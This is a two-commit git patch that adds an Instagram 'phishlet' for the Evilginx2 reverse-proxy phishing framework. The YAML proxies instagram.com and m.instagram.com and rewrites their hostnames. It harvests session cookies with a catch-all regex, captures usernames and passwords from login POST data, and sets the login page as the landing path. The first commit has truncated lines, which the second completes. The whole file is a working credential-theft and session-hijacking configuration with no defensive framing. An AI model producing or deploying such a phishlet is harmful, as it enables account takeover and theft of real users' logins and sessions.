From a9fac51fba3bc0ce04c31a26ecb6b9691ebe45a8 Mon Sep 17 00:00:00 2001
From: princenasario <princenasario@gmail.com>
Date: Thu, 3 Jan 2019 20:18:36 +0530
Subject: [PATCH 1/2] Create instagram.yaml

Instagram Phishlet
---
 phishlets/instagram.yaml | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)
 create mode 100644 phishlets/instagram.yaml

diff --git a/phishlets/instagram.yaml b/phishlets/instagram.yaml
new file mode 100644
index 000000000..575cc9d65
--- /dev/null
+++ b/phishlets/instagram.yaml
@@ -0,0 +1,19 @@
+author: '@prrrrinncee'
+min_ver: '2.2.0'
+proxy_hosts:
+  - {phish_sub: 'www', orig_sub: 'www', domain: 'instagram.com', session: true,$
+  - {phish_sub: 'm', orig_sub: 'm', domain: 'instagram.com', session: true, is_$
+sub_filters:
+  - {triggers_on: 'www.instagram.com', orig_sub: 'www', domain: 'instagram.com'$
+  - {triggers_on: 'm.instagram.com', orig_sub: 'm', domain: 'instagram.com', se$
+  - {triggers_on: 'm.instagram.com', orig_sub: 'm', domain: 'instagram.com', se$
+auth_tokens:
+  - domain: '.instagram.com'
+    keys: ['sessionid','.*,regexp']
+credentials:
+  username:
+    key: 'user'
+    search: '(.*)'
+    type: 'post'
+  password:
+    key: 'pass'

From ab66cdeafb3855d1a9e98cafb856663529f61795 Mon Sep 17 00:00:00 2001
From: princenasario <princenasario@gmail.com>
Date: Mon, 7 Jan 2019 21:49:44 +0530
Subject: [PATCH 2/2] Update Instagram.yaml

---
 phishlets/instagram.yaml | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/phishlets/instagram.yaml b/phishlets/instagram.yaml
index 575cc9d65..adf5c5f89 100644
--- a/phishlets/instagram.yaml
+++ b/phishlets/instagram.yaml
@@ -1,12 +1,12 @@
 author: '@prrrrinncee'
 min_ver: '2.2.0'
 proxy_hosts:
-  - {phish_sub: 'www', orig_sub: 'www', domain: 'instagram.com', session: true,$
-  - {phish_sub: 'm', orig_sub: 'm', domain: 'instagram.com', session: true, is_$
+  - {phish_sub: 'www', orig_sub: 'www', domain: 'instagram.com', session: true, is_landing: true}
+  - {phish_sub: 'm', orig_sub: 'm', domain: 'instagram.com', session: true, is_landing: false}
 sub_filters:
-  - {triggers_on: 'www.instagram.com', orig_sub: 'www', domain: 'instagram.com'$
-  - {triggers_on: 'm.instagram.com', orig_sub: 'm', domain: 'instagram.com', se$
-  - {triggers_on: 'm.instagram.com', orig_sub: 'm', domain: 'instagram.com', se$
+  - {triggers_on: 'www.instagram.com', orig_sub: 'www', domain: 'instagram.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
+  - {triggers_on: 'm.instagram.com', orig_sub: 'm', domain: 'instagram.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
+  - {triggers_on: 'm.instagram.com', orig_sub: 'm', domain: 'instagram.com', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']}
 auth_tokens:
   - domain: '.instagram.com'
     keys: ['sessionid','.*,regexp']
@@ -17,3 +17,7 @@ credentials:
     type: 'post'
   password:
     key: 'pass'
+    search: '(.*)'
+    type: 'post'
+landing_path:
+  - '/accounts/login'